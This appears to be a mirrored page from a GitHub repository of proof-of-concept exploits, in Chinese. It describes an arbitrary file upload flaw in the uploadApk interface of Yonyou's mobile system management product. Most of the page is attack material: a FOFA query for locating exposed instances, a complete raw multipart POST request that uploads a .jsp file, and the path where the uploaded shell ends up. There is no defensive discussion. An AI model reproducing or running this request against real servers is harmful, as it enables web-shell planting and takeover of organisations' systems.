mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 14:04:06 +00:00
32 lines
757 B
Markdown
32 lines
757 B
Markdown
|
## 用友移动系统管理uploadApk接口存在任意文件上传
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
```
|
|||
|
|
body="../js/jslib/jquery.blockUI.js"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
```
|
|||
|
|
POST /maportal/appmanager/uploadApk.dopk_obj= HTTP/1.1
|
|||
|
|
Host: 127.0.0.1
|
|||
|
|
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept: */*
|
|||
|
|
Connection: close
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
Content-Length: 196
|
|||
|
|
|
|||
|
|
--fa48ebfef59b133a8cd5275661b35d2c
|
|||
|
|
Content-Disposition: form-data; name="downloadpath"; filename="59209.jsp"
|
|||
|
|
Content-Type: application/msword
|
|||
|
|
|
|||
|
|
082863327
|
|||
|
|
--fa48ebfef59b133a8cd5275661b35d2c--
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
上传的shell地址拼接：
|
|||
|
|
|
|||
|
|
http://127.0.0.1/maupload/apk/59209.jsp
|